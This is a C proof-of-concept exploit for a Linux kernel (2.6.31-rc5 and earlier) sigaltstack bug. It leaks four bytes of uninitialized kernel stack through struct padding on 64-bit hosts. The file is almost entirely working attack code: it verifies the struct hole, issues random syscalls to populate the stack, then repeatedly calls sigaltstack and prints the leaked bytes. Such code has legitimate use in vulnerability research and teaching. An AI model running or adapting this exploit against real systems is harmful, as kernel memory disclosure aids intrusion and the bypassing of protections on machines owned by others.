/*
* sigaltstack-leak.c
*
* Linux Kernel <= 2.6.31-rc5 sigaltstack 4-Byte Stack Disclosure
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://git.kernel.org/linus/0083fc2c50e6c5127c2802ad323adf8143ab7856
*
* Ulrich Drepper correctly points out that there is generally padding in
* the structure on 64-bit hosts, and that copying the structure from
* kernel to user space can leak information from the kernel stack in those
* padding bytes.
*
* Notes:
*
* Only 4 bytes of uninitialized kernel stack are leaked in the padding
* between stack_t's ss_flags and ss_size. The disclosure only affects
* affects 64-bit hosts.
*/
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <time.h>
#include <sys/syscall.h>
#include <sys/types.h>
const int randcalls[] = {
0, 1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 13, 14, 16,
21, 22, 24, 25, 32, 33, 36, 37, 38, 39, 72, 73,
78, 79, 96, 97, 97, 102, 104, 105, 106, 107, 108,
109, 110, 11, 112, 113, 114, 116, 117, 118, 119,
120, 121, 121, 123, 124, 125, 140, 141, 143, 146
};
void
dump(const unsigned char *p, unsigned l)
{
printf("stack_t:");
while (l > 0) {
printf(" ");
if (l == 12) {
printf("*** ");
}
printf("%02x", *p);
if (l == 9) {
printf(" ***");
}
++p; --l;
}
printf("\n");
}
int
main(void)
{
char *p;
int call, ret;
size_t size, ftest, stest;
stack_t oss;
size = sizeof(stack_t);
printf("[+] Checking platform...\n");
if (size == 24) {
printf("[+] sizeof(stack_t) = %zu\n", size);
printf("[+] Correct size, 64-bit platform.\n");
} else {
printf("[-] sizeof(stack_t) = %zu\n", size);
printf("[-] Error: you do not appear to be on a 64-bit platform.\n");
printf("[-] No information disclosure is possible.\n");
exit(1);
}
ftest = offsetof(stack_t, ss_flags) + sizeof(oss.ss_flags);
stest = offsetof(stack_t, ss_size);
printf("[+] Checking for stack_t hole...\n");
if (ftest != stest) {
printf("[+] ss_flags end (%zu) != ss_size start (%zu)\n", ftest, stest);
printf("[+] Hole in stack_t present!\n", ftest, stest);
} else {
printf("[-] ss_flags end (%zu) == ss_size start (%zu)\n", ftest, stest);
printf("[-] Error: No hole in stack_t, something is quite wrong.\n");
exit(1);
}
printf("[+] Ready to call sigaltstack.\n\n");
for (ret = 5; ret > 0; ret--) {
printf("%d...\n", ret);
sleep(1);
}
srand(time(NULL));
while (1) {
/* random stuff to make stack pseudo-interesting */
call = rand() % (sizeof(randcalls) / sizeof(int));
syscall(randcalls[call]);
ret = sigaltstack(NULL, &oss);
if (ret != 0) {
printf("[-] Error: sigaltstack failed.\n");
exit(1);
}
dump((unsigned char *) &oss, sizeof(oss));
}
return 0;
}
